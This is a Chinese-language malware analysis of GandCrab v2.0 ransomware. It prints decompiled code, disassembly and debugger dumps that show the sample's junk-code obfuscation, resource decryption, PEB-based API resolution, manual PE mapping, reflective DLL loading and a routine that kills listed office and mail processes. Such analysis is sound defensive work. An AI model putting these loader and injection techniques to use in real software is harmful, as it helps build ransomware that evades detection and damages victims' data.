GandCrab v2.0分析



1.静态分析

无壳

EnumResourceNamesA 枚举资源名称，猜测是病毒提取解密资源段数据进行后续操作



2.动态分析

模块一：GandCrad 读取资源数据 解密数据获取shellcode 动态执行shellcode

winmain函数：

含有大量无意义的函数调用和代码

```
if ( lstrlenA(String) == 682776 && strlen(String) == 853779 )
{
  MoveFileW(L"Guzinimimule rucu dineriye fahaho wuzofi", L"Xi palezelafokisi");// 不执行
  GetCurrencyFormatW(0, 0, L"Fe mivihitico xedape hejabuve si", 0, CurrencyStr, 0);
  CreateMDIWindowW(L"Lobaxu fahizi", L"Cecinaxu widecuza noxicoyuke", 0, 0, 0, 0, 0, 0, 0, 0);
  GetLocaleInfoA(0, 0, LCData, 0);
  ShowWindowAsync(0, 0);
  GetNearestPaletteIndex(0, 0);
  Msg.pt.x = 15;
  Msg.time = 0;
  LOBYTE(Msg.hwnd) = 0;
  sub_401037("lewuxutuzawudalizatetocuyijalateneli", 0x24u);
  if ( Msg.pt.x >= 0x10u )
    operator delete(Msg.hwnd);
}
v21 = 0;
while ( 1 )                                     // 死循环 跳出循环条件不合理-->无意义代码，跳过
{
  GlobalMemoryStatus(&Buffer);
  v4 = v21;
  if ( v21 < 5570 )
  {
    CharLowerBuffA(LCData, 0);
    ResetWriteWatch(0, 0);
    SelectObject(0, 0);
    GetPrivateProfileIntW(L"Buyesacuyomage ceri", L"Co", 0, L"Fupevomahi goromahoma ziyuyofilejera");
    SetWindowsHookExW(0, 0, 0, 0);
```

动态获取GlobalAlloc函数地址 调用GlobalAlloc函数返回内存句柄

调用EnumResourceNamesA 枚举资源数据，将数据写入到内存地址

```
while ( v5 < (int)&unk_85CEB4 );
v6 = GetProcAddress;
*(_DWORD *)GlobalAlloc = GetProcAddress(hModule, "GlobalAlloc");
dword_436B78 = (int (*)(void))GlobalAlloc(0, dword_CA66A0);
i_1 = 0;
dword_CA66A4 = (int)off_424008;
if ( dword_CA66A0 )
{
  do
  {
    if ( i_1 < 6485 )
      EnumResourceNamesA(0, "Ropotokovowoca_gepuca", 0, 0);
    *((_BYTE *)dword_436B78 + i_1) = *(_BYTE *)(dword_CA66A4 + i_1 + 980809);
    if ( i_1 < 985 )
    {
      v18 = 0;
      v21 = 0;
      ReadConsoleOutputA(0, &v16, 0, 0, &ReadRegion);
      SetClipboardData(0, 0);
      DrawTextW(0, L"Picono leguku tevihu fipa pu", 0, (LPRECT)&Msg.lParam, 0);
    }
    ++i_1;
  }
  while ( (unsigned int)i_1 < dword_CA66A0 );
  v6 = GetProcAddress;
}
hModule = LoadLibraryW(L"kernel32.dll");
```

```
00401EF9   6A 00          push 0
00401EFB   6A 00          push 0
00401EFD   FFD3           call ebx
00401EFF   6A 00          push 0
00401F01   8D95 68F6FFFF  lea edx,dword ptr ss:[ebp-998]
00401F07   52             push edx
00401F08   FF15 FCB2E500  call dword ptr ds:[<&GetConsoleTitleA>]
00401F0E   6A 00          push 0
00401F10   6A 00          push 0
00401F12   6A 00          push 0
00401F14   6A 00          push 0
00401F16   8D45 D4        lea eax,dword ptr ss:[ebp-2C]
00401F19   50             push eax
00401F1A   FF15 B4B4E500  call dword ptr ds:[<&PeekMessageW>]
EIP 00401F20   81FE EBE44E00  cmp esi,1.4EE4EB
00401F26   75 12          jne 1.401F3A
00401F28   68 60EC4100    push 1.41EC60                    41EC60:"kernel32.dll"
00401F2D   FF15 F8B2E500  call dword ptr ds:[<&GetModuleHandleA>]
00401F33   A3 EC3ACA00    mov dword ptr ds:[CA3AEC],eax
00401F38   EB 22          jmp 1.401F5C
00401F3A   81FE F50F0000  cmp esi,FF5
00401F40   7D 1A          jge 1.401F5C
00401F42   6A 00          push 0
00401F44   6A 00          push 0
00401F46   6A 00          push 0
00401F48   FF15 B8B4E500  call dword ptr ds:[<&SetWindowRgn>]
00401F4E   FF15 BCB4E500  call dword ptr ds:[<&GetKBCodePage>]
00401F54   6A 00          push 0
00401F56   FF15 B4B2E500  call dword ptr ds:[<&RemoveFontMemResou
00401F5C   46             inc esi
00401F5D   81FE B4CE8500  cmp esi,1.85CEB4
00401F63   0F8C 6FFFFFFF  jl 1.401ED8
00401F69   8B0D EC3ACA00  mov ecx,dword ptr ds:[CA3AEC]
00401F6F   8B3D F4B2E500  mov edi,dword ptr ds:[<&GetProcAddress>]
00401F75   68 70EC4100    push 1.41EC70                    41EC70:"GlobalAlloc"
00401F7A   51             push ecx
00401F7B   FFD7           call edi
00401F7D   8B15 A066CA00  mov edx,dword ptr ds:[CA66A0]
00401F83   52             push edx
00401F84   6A 00          push 0
00401F86   A3 7C6B4300    mov dword ptr ds:[436B7C],eax
00401F8B   FFD0           call eax
```

调用EnumResourceNameA枚举资源，然后将资源数据循环复制到新内配的内存



[436b78]值为00FD41E8，写入的内存地址为00FD41E8



动态获取VirtualProtect 函数地址，调用VirtualProtect 将分配的内存保护属性修改为可读，可写，可执行



401014函数是对这块内存数据进行解密

```
}
dword_436B74(dword_436B78, dword_CA66A0, 64, v20);// VirtualProtect 函数调用
sub_401014((int)off_424000);
dword_436B78();
```

解密代码：

```
v15 = a2 >> 3;
v9 = 0;
if ( a2 >> 3 )
{
  v3 = a1;
  for ( i = a1; ; v3 = i )
  {
    if ( v9 < 0x1CA )
      SwitchDesktop(0);
    v4 = *v3;
    v5 = v3[1];
    v14 = *a3;
    v13 = a3[1];
    v6 = -957401312;
    v12 = a3[2];
    v11 = a3[3];
    for ( j = 0; j < 0x20; ++j )
    {
      DestroyIcon(0);
      v5 -= (v6 + v4) ^ (v12 + 16 * v4) ^ (v11 + (v4 >> 5));
      v4 -= (v6 + v5) ^ (v14 + 16 * v5) ^ (v13 + (v5 >> 5));
      v6 += 1640531527;
    }
    *i = v4;
    i[1] = v5;
    result = i + 2;
    ++v9;
    i += 2;
```

然后执行这块内存的代码

解密后的数据，解密过程直接跳过



shellcode分析

单步调试，发现fs:[30] 这是指向peb结构体，后面是常见的定位kernel32.dll基地址的操作



进入匹配kernel32.dll函数



匹配成功后，遍历kernel32.dll的导出表获得GetProcAddress函数地址

函数名称查函数地址：
Windows 装载器的工作步骤如下：

最初的步骤是一样的，那就是首先得到导出表的地址
从导出表的 NumberOfNames 字段得到已命名函数的总数，并以这个数字作为循环的次数来构造一个循环
从 AddressOfNames 字段指向得到的函数名称地址表的第一项开始，在循环中将每一项定义的函数名与要查找的函数名相比较，如果没有任何一个函数名是符合的，表示文件中没有指定名称的函数
如果某一项定义的函数名与要查找的函数名符合，那么记下这个函数名在字符串地址表中的索引值，然后在 AddressOfNamesOrdinals 指向的数组中以同样的索引值取出数组项的值，我们这里假设这个值是x
最后，以 x 值作为索引值，在 AddressOfFunctions 字段指向的函数入口地址表中获取的 RVA 就是函数的入口地址

通过GetProcAddress得到LoadLibraryA函数地址



LoadLibraryA加载kernel32.dll



然后调用GetProcAddress函数获取VirtualAlloc，VirtualProtect，VirtualFree，GetVersionExA，TerminateProcess函数地址，方便后续调用



调用VirtualAlloc函数，申请大小为23400h的空间，



解密出pe文件，改变这块内存保护属性



`rep stosb`就是从EDI所指的内存开始，将连续的ECX个字节写成AL的内容，多用于清零等

清空自身内存数据



然后把pe文件复制到自身内存空间，先复制pe头400大小，



可以对比看到pe文件在文件状态内存状态不同


内存 1
内存 2
内存 3
内存 4
内存 5
监视 1
局部变量
结构体
地址
十六进制
ASCII
02BF0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
02BF0370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
02BF0380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
02BF0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
02BF03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
02BF03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
02BF03C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
02BF03D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
02BF03E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
02BF03F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
02BF0400 56 57 8B 3D FC 20 41 00 8B D1 0F B7 87 D4 20 41 VW.=ü A..Ñ..Ô A
02BF0410 00 8D B7 D8 20 41 00 03 F0 3B 56 14 73 04 8B C2 ..·Ø A..ð;V.s..Â
02BF0420 EB 32 0F B7 BF C6 20 41 00 33 C0 33 C9 53 66 3B ë2.·¿Æ A.3À3ÉSf;
02BF0430 C7 73 1E 0F B7 C1 6B C0 28 8B 5C 30 0C 3B D3 72 Çs..·ÁkÀ(.\0.;Ór
02BF0440 0A 8B 44 30 10 03 C3 3B D0 72 0C 41 66 3B CF 72 ..D0..Ã;Ðr.Af;Ir
02BF0450 E2 33 C0 5B 5F 5E C3 0F B7 C1 6B C8 28 8B 44 31 â3À[_^Ã.·ÁkÈ(.D1
02BF0460 14 2B 44 31 0C 03 C2 EB EA 55 8B EC 51 8B 0D FC .+D1..ÂëêU.ìQ..ü
02BF0470 20 41 00 BA 0B 01 00 00 0F B7 81 D8 20 41 00 66 A.º.....·Ø A.f

复制区段


00EB4DDE 55 push ebp
00EB4DDF 8BEC mov ebp,esp
00EB4DE1 837D 10 00 cmp dword ptr ss:[ebp+10],0
00EB4DE5 74 17 je EB4DFE
00EB4DE7 8B4D 08 mov ecx,dword ptr ss:[ebp+8]
00EB4DEA 8B45 0C mov eax,dword ptr ss:[ebp+C]
00EB4DED 2BC8 sub ecx,eax
00EB4DEF 8A10 mov dl,byte ptr ds:[eax]
00EB4DF1 FF4D 10 dec dword ptr ss:[ebp+10]
00EB4DF4 881401 mov byte ptr ds:[ecx+eax],dl
00EB4DF7 40 inc eax
00EB4DF8 837D 10 00 cmp dword ptr ss:[ebp+10],0
00EB4DFC 75 F1 jne EB4DEF
00EB4DFE 8B45 08 mov eax,dword ptr ss:[ebp+8]
00EB4E01 5D pop ebp
00EB4E02 C3 ret
00EB4E03 55 push ebp
00EB4E04 8BEC mov ebp,esp
00EB4E06 8B4D 08 mov ecx,dword ptr ss:[ebp+8]
00EB4E09 56 push esi
00EB4E0A 8B75 0C mov esi,dword ptr ss:[ebp+C]
00EB4E0D 8A01 mov al,byte ptr ds:[ecx]
00EB4E0F 84C0 test al,al
00EB4E11 74 0E je EB4E21
00EB4E13 8A16 mov dl,byte ptr ds:[esi]
00EB4E15 84D2 test dl,dl
00EB4E17 74 08 je EB4E21
00EB4E19 3AC2 cmp al,dl
00EB4E1B 75 04 jne EB4E21
00EB4E1D 41 inc ecx
00EB4E1E 46 inc esi
00EB4E1F EB EC jmp EB4E0D
00EB4E21 0FBE06 movsx eax,byte ptr ds:[esi]
00EB4E24 0FBE09 movsx ecx,byte ptr ds:[ecx]
00EB4E27 2BC1 sub eax,ecx
00EB4E29 5E pop esi
00EB4E2A 5D pop ebp
00EB4E2B C3 ret
00EB4E2C 55 push ebp
00EB4E2D 8BEC mov ebp,esp
00EB4E2F 53 push ebx
00EB4E30 56 push esi
00EB4E31 8B75 08 mov esi,dword ptr ss:[ebp+8]
00EB4E34 57 push edi
EIP
dword ptr ss:[ebp+10]=[0019E130]=A5FE
00EB4DF8
隐藏FPU
EAX 02BF0401
EBX 75825100 <gdi32.ResetDCW>
ECX FD810C00
EDX 00EB4257
EBP 0019E120
ESP 0019E120
ESI 000E3ECE
EDI 759EF550 <kernel32.GetProc
EIP 00EB4DF4
EFLAGS 00000202
ZF 0 PF 0 AF 0
OF 0 SF 0 DF 0
CF 0 TF 0 IF 1
LastError 0000057A (ERROR_INVALID_
LastStatus C000008A (STATUS_RESOURCE
GS 002B FS 0053
ES 002B DS 002B
CS 0023 SS 002B
ST(0) 00000000000000000000 x87r0
ST(1) 00000000000000000000 x87r1
ST(2) 00000000000000000000 x87r2
ST(3) 00000000000000000000 x87r3
ST(4) 00000000000000000000 x87r4
ST(5) 00000000000000000000 x87r5
ST(6) 3FFF8000000000000000 x87r6
ST(7) 3FFF8DB70C975DF22363 x87r7
默认 (stdcall)
1: [esp+4] 00EB4513
2: [esp+8] 00401000 1.00401000
3: [esp+C] 02BF0400
4: [esp+10] 0000A5FE
5: [esp+14] 000F000E
内存 1
内存 2
内存 3
内存 4
内存 5
监视 1
局部变量
结构体
地址
十六进制
ASCII
00400F00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
00400F10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
00400F20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
00400F30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
00400F40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
00400F50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
00400F60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
00400F70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
00400F80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
00400F90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
00400FA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
00400FB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
00400FC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
00400FD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
00400FE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
00400FF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
0019E120 0019F134
0019E124 00EB4513 返回到 00EB4513 自 00EB4DDE
0019E128 00401000 1.00401000
0019E12C 02BF0400
0019E130 0000A5FE
0019E134 000F000E
0019E138 02C600C0
0019E13C 00000020
0019E140 02C600C0
0019E144 00000070
0019E148 02C600C0
0019E14C 02C60000
0019E150 50000163
0019E154 00000000
0019E158 01000163
0019E15C 00000018
0019E160 02C606F8
0019E164 0000001C
0019E168 02C604A0
0019E16C 02C606F8


00401000 56 57 8B 3D FC 20 41 00 8B D1 0F B7 87 D4 20 41 VW.=ü A..Ñ..Ô A
00401010 00 8D B7 D8 20 41 00 03 F0 3B 56 14 73 04 8B C2 ..·Ø A..ð;V.s..Â
00401020 EB 32 0F B7 BF C6 20 41 00 33 C0 33 C9 53 66 3B ë2.·¿Æ A.3À3ÉSf;
00401030 C7 73 1E 0F B7 C1 6B C0 28 8B 5C 30 0C 3B D3 72 Çs..·ÁkÀ(.\0.;Ór
00401040 0A 8B 44 30 10 03 C3 3B D0 72 0C 41 66 3B CF 72 ..D0..Ã;Ðr.Af;Ir
00401050 E2 33 C0 5B 5F 5E C3 0F B7 C1 6B C8 28 8B 44 31 â3À[_^Ã.·ÁkÈ(.D1
00401060 14 2B 44 31 0C 03 C2 EB EA 55 8B EC 51 8B 0D FC .+D1..ÂëêU.ìQ..ü
00401070 20 41 00 BA 0B 01 00 00 0F B7 81 D8 20 41 00 66 A.º.....·Ø A.f
00401080 3B C2 74 09 B9 0B 02 00 00 33 C0 EB 66 8B 89 38 ;Ât.'....3Àëf..8
00401090 21 41 00 53 56 57 E8 65 FF FF FF BF C0 20 41 00 !A.SVWèeÿÿÿ¿À A.
004010A0 8D 1C 07 8B 4B 20 89 5D FC E8 52 FF FF FF 8B 4B ....K .]üèRÿÿÿ.K
004010B0 24 8D 34 07 E8 47 FF FF FF 8B 5B 18 8B F8 81 C7 $.4.èGÿÿÿ.[..ø.Ç
004010C0 C0 20 41 00 EB 24 8B 0E 4B E8 32 FF FF FF 05 C0 À A.ë$..Kè2ÿÿÿ.À
004010D0 20 41 00 68 B4 FC 40 00 50 E8 F2 02 00 00 59 59 A.h´ü@.Pèò...YY
004010E0 85 C0 75 13 83 C6 04 83 C7 02 85 DB 75 D8 33 C0 .Àu..Æ..Ç..ÛuØ3À
004010F0 5F 5E 5B 8B E5 5D C3 8B 4D FC 8B 49 1C E8 FE FE _^[.å]Ã.Mü.I.èþþ

修复iat表：getprocaddress



修复重定位表，跳转到oep执行

ida分析pe1.exe 调用函数 bp下断点



我们可以往上看下这个PE文件的由来，在004120C0创建硬件写入断点，重新运行程序，发现程序先在004120C0处写入一堆数据，然后进行异或操作，最终解密出了核心PE2.dll，

ida看pe1.exe，解密数据

```
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // ecx
  unsigned int i; // edx
  int v5[11]; // [esp+4h] [ebp-2Ch]

  v5[0] = '\x05';
  v5[1] = 4;
  v5[2] = 3;
  v5[3] = 2;
  v5[4] = 10;
  v5[5] = 3;
  v5[6] = 4;
  v5[7] = 15;
  v5[8] = 45;
  v5[9] = 49;
  v5[10] = 10;
  OpenProcess(0, 0, 0);
  if ( GetLastError() == 87 )
  {
    v3 = 0;
    for ( i = 0; i < 0x12200; ++i )
    {
      *((_BYTE *)&dword_4120C0 + i) ^= LOBYTE(v5[v3++]);
      if ( v3 == 11 )
        v3 = 0;
    }
    if ( !sub_401113(v3) )
      ExitThread(0);
  }
  ExitProcess(0);
}
```

之后程序进入00401113函数，然后在00401069函数发现了程序寻找导出函数ReflectiveLoader的文件偏移位置，接着修改内存保护属性，调用ReflectiveLoader

```
int sub_401069()
{
  _DWORD *v1; // esi
  int v2; // eax
  int v3; // ebx
  unsigned __int16 *i; // edi
  int v5; // eax
  int v6; // eax
  _DWORD *v7; // [esp+0h] [ebp-4h]

  if ( *(__int16 *)((char *)&word_4120D8 + dword_4120FC) != 267 )
    return 0;
  v7 = (int *)((char *)&dword_4120C0 + sub_401000(*(int *)((char *)&dword_412138 + dword_4120FC)));
  v1 = (int *)((char *)&dword_4120C0 + sub_401000(v7[8]));
  v2 = sub_401000(v7[9]);
  v3 = v7[6];
  for ( i = (unsigned __int16 *)((char *)&dword_4120C0 + v2); ; ++i )
  {
    if ( !v3 )
      return 0;
    --v3;
    v5 = sub_401000(*v1);
    if ( strstr((const char *)&dword_4120C0 + v5, "ReflectiveLoader") )
      break;
    ++v1;
  }
  v6 = sub_401000(v7[7]);
  return sub_401000(*(int *)((char *)&dword_4120C0 + 4 * *i + v6));
}
```

```
int sub_401113()
{
  int v0; // eax
  int (*v1)(void); // edi
  int (__stdcall *v2)(_DWORD, int, int *); // eax
  int v3; // eax
  int v5; // [esp+10h] [ebp-28h] BYREF
  DWORD v6; // [esp+14h] [ebp-24h] BYREF
  DWORD flOldProtect[2]; // [esp+18h] [ebp-20h] BYREF
  CPPEH_RECORD ms_exc; // [esp+20h] [ebp-18h]

  v5 = 0;
  flOldProtect[0] = 0;
  v6 = 0;
  ms_exc.registration.TryLevel = 0;
  v0 = sub_401069();
  if ( v0 )
  {
    v1 = (int (*)(void))((char *)&dword_4120C0 + v0);
    if ( VirtualProtect(&dword_4120C0, 0x12200u, 0x40u, flOldProtect) )
    {
      v2 = (int (__stdcall *)(_DWORD, int, int *))v1();
      if ( v2 )
      {
        v3 = v2(0, 6, &v5);
        v5 &= -(v3 != 0);
      }
      VirtualProtect(&dword_4120C0, 0x12200u, flOldProtect[0], &v6);
    }
  }
  return v5;
}
```

```
00B01142   68 00220100      push 12200
00B01147   68 C020B100      push mem_02bf0000_00024000.B120C0      B120C0:"MZ?"
00B0114C   FF15 00C0B000    call dword ptr ds:[<&VirtualProtect>]
00B01152   85C0             test eax,eax
00B01154   74 30            je mem_02bf0000_00024000.B01186
00B01156   FFD7             call edi
00B01158   85C0             test eax,eax
00B0115A   74 13            je mem_02bf0000_00024000.B0116F
00B0115C   8D4D D8          lea ecx,dword ptr ss:[ebp-28]
00B0115F   51               push ecx
00B01160   6A 06            push 6
```

这时我们进入ReflectiveLoader函数，看看病毒是如何实现反射注入的，打开IDA，把刚刚dump下来的PE2.dll载入，查看导出表，打开ReflectiveLoader函数，

```
.text:100060D0 var_8           = dword ptr -8
.text:100060D0 var_4           = dword ptr -4
.text:100060D0
.text:100060D0                 push    ebp
.text:100060D1                 mov     ebp, esp
.text:100060D3                 sub     esp, 20h
.text:100060D6                 push    ebx
.text:100060D7                 push    esi
.text:100060D8                 push    edi
.text:100060D9                 xor     ebx, ebx
.text:100060DB                 mov     [ebp+var_18], 0
.text:100060E2                 xor     edi, edi
.text:100060E4                 mov     [ebp+var_14], ebx
.text:100060E7                 mov     [ebp+var_C], edi
.text:100060EA                 mov     [ebp+var_1C], ebx
.text:100060ED                 call    sub_100060C0
.text:100060F2                 mov     edx, eax
.text:100060F4                 mov     esi, 5A4Dh
.text:100060F9                 lea     esp, [esp+0]
.text:10006100
.text:10006100 loc_10006100:                           ; CODE XREF: ReflectiveLoader()
```



（为了方便多次调试，直接分析pe1.exe）

ReflectiveLoader分析：

1.**定位DLL文件在内存中的基址** 向前遍历找dll标识 mz pe

2.通过PEB找到kernel32.dll中的LoadLibraryA(), GetProcAddress()，VirtualAlloc()以及ntdll.dll中的NtFlushInstructionCache()函数。

3.**分配一片用来装载DLL的空间**

4.复制PE文件头和各个节

类似PE1

5） 修复DLL的导入表

类似PE1

6） 修复DLL重定位表

调用dll oep

PE2.DLL数据分析

为了方便调试，修改ida加载基址

初始化部分：

```
1  BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
2  {
3    HANDLE hObject; // [esp+8h] [ebp-4h]
4
5    if ( fdwReason == 1 )
6    {
7      hObject = CreateThread(0, 0, sub_B15FE0, 0, 0, 0);
8      if ( hObject )
9        CloseHandle(hObject);
10   }
11   return 1;
12 }
```

结束指定进程

```
lpString1[33] = L"thebat.exe";
lpString1[34] = L"thebat64.exe";
lpString1[35] = L"thunderbird.exe";
lpString1[36] = L"visio.exe";
lpString1[37] = L"winword.exe";
lpString1[38] = L"wordpad.exe";
v0 = CreateToolhelp32Snapshot(2u, 0);
hSnapshot = v0;
v1 = (PROCESSENTRY32W *)VirtualAlloc(0, 0x22Cu, 0x3000u, 4u);
v2 = v1;
if ( v1 )
{
  v1->dwSize = 556;
  if ( v0 != (HANDLE)-1 )
    Process32FirstW(v0, v1);
}
v3 = CloseHandle;
v4 = v2->szExeFile;
do
{
  for ( i = 0; i < 0x27; ++i )
  {
    if ( !lstrcmpiW(lpString1[i], v4) )
    {
      v6 = OpenProcess(1u, 0, v2->th32ProcessID);
      v7 = v6;
      if ( v6 )
      {
        TerminateProcess(v6, 0);              // 结束指定进程
        v10 = v7;
        v3 = CloseHandle;
        CloseHandle(v10);
      }
      else
      {
```